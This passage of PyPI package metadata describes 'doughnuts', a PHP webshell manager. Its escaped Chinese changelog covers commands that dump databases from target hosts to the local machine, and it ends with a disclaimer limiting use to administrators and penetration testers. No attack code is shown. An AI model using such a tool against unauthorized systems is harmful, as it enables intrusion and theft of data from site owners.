\u4fee\u590d\u5f53\u4f7f\u7528mysqli\u6269\u5c55\u94fe\u63a5mysql\u6570\u636e\u5e93\u65f6db_info\u663e\u793a\u7684\u95ee\u9898\n - \u4fee\u590d\u5f53\u4f7f\u7528pdo\u6269\u5c55\u94fe\u63a5\u6570\u636e\u5e93\u65f6\u65e0\u6cd5db_dump\u7684\u95ee\u9898\n - \u4fee\u590d\u67d0\u4e9b\u6587\u672c\u9519\u8bef\n - db_dump\u547d\u4ee4 \n - \u4e0d\u518d\u76ee\u6807\u4e3b\u673a\u4e0a\u5199\u5165\u6587\u4ef6\u800c\u662f\u76f4\u63a5\u4e0b\u8f7d\u5230\u672c\u5730,\u4fee\u6539\u53c2\u6570{web_file_path}->{local_path}\n - \u6dfb\u52a0\u53c2\u6570 {table} \u7528\u4e8e\u6307\u5b9a\u6570\u636e\u8868,\u9ed8\u8ba4\u5b58\u50a8\u6587\u4ef6\u540d\u4e3a{database}.{table}.sql\n - dump\u547d\u4ee4\n - \u4fee\u590d\u4e00\u4e2abug\u66fe\u5bfc\u81f4\u8def\u5f84\u62fc\u63a5\u65f6\u4f7f\u7528\\\u8f6c\u4e49\u4e86\u5916\u90e8php\u7684\u5f15\u53f7\u5bfc\u81f4\u7684\u62a5\u9519\n- \u6dfb\u52a0\u547d\u4ee4\n - db_mdump\u547d\u4ee4 \u7528\u4e8e\u5206\u5757dump\u6570\u636e\u5e93\n- 4.0.1\n - \u4fee\u590d\u4e86db_mdump\u5bfc\u51fa\u7684\u6570\u636e\u5e93encoding\u9519\u8bef\u5bfc\u81f4sql\u6587\u4ef6\u65e0\u6cd5\u5bfc\u5165\u7684\u95ee\u9898\n- 4.0.2\n - \u4fee\u590d\u4e86db_mdump\u6570\u636e\u91cd\u590d\u7684\u95ee\u9898\n- 4.0.3\n - \u5220\u9664\u6d4b\u8bd5\u8f93\u51fa,\u5220\u9664db_mdump\u4e2dDROP DATABASE\u8bed\u53e5\n\n## \u514d\u8d23\u58f0\u660e\n\n\u672c\u9879\u76ee\u4ec5\u4f9b\u7f51\u7ad9\u7ba1\u7406\u4eba\u5458\u4e0e\u6e17\u900f\u6d4b\u8bd5\u4eba\u5458\u5b66\u4e60\u4e0e\u4ea4\u6d41,\u4efb\u4f55\u4f7f\u7528\u672c\u9879\u76ee\u8fdb\u884c\u7684\u4e00\u5207\u672a\u6388\u6743\u653b\u51fb\u884c\u4e3a\u4e0e\u672c\u4eba\u65e0\u5173.\n",
"bugtrack_url": null,
"license": "MIT",
"summary": "A webshell manager for PHP",
"version": "4.24.2",
"project_urls": {
"Homepage": "https://github.com/way29/doughnuts",
"Repository": "https://github.com/way29/doughnuts"
},
"split_keywords": [],
"urls": [
{
"comment_text": "",
"digests": {
"blake2b_256": "19fe661495ea4b9aa19a7abfbaf43f764de1e8be368d553d5bdda02af6824b64",
"md5": "b4f41c838cd953bb03138115851acba5",
"sha256": "29abf085bc85d0b2712299062e617c8562022a936d383b66968ebc3394fee0e7"
},
"downloads": -1,
"filename": "doughnuts-4.24.2-py3-none-any.whl",
"has_sig": false,
"md5_digest": "b4f41c838cd953bb03138115851acba5",
"packagetype": "bdist_wheel",
"python_version": "py3",
"requires_python": ">=3.6,<4.0",
"size": 278328,
"upload_time": "2023-05-23T12:45:16",
"upload_time_iso_8601": "2023-05-23T12:45:16.581947Z",
"url": "https://files.pythonhosted.org/packages/19/fe/661495ea4b9aa19a7abfbaf43f764de1e8be368d553d5bdda02af6824b64/doughnuts-4.24.2-py3-none-any.whl",
"yanked": false,
"yanked_reason": null
},
{
"comment_text": "",
"digests": {
"blake2b_256": "98f48b707d9175f2890d15be3038a9d1244977adff8aa98b20411c36c44bac29",
"md5": "d06ef95376b9d5ab942d46584971e448",
"sha256": "bbd6e9e26808cf22da35f2928e42fdbd8fef66f4d20a2c77dcd279f85f2895e1"
},
"downloads": -1,
"filename": "doughnuts-4.24.2.tar.gz",
"has_sig": false,
"md5_digest": "d06ef95376b9d5ab942d46584971e448",
"packagetype": "sdist",
"python_version": "source",
"requires_python": ">=3.6,<4.0",
"size": 213341,
"upload_time": "2023-05-23T12:45:20",
"upload_time_iso_8601": "2023-05-23T12:45:20.619837Z",
"url": "https://files.pythonhosted.org/packages/98/f4/8b707d9175f2890d15be3038a9d1244977adff8aa98b20411c36c44bac29/doughnuts-4.24.2.tar.gz",
"yanked": false,
"yanked_reason": null
}
],
"upload_time": "2023-05-23 12:45:20",
"github": true,
"gitlab": false,
"bitbucket": false,
"codeberg": false,
"github_user": "way29",
"github_project": "doughnuts",
"travis_ci": false,
"coveralls": false,
"github_actions": false,
"lcname": "doughnuts"
}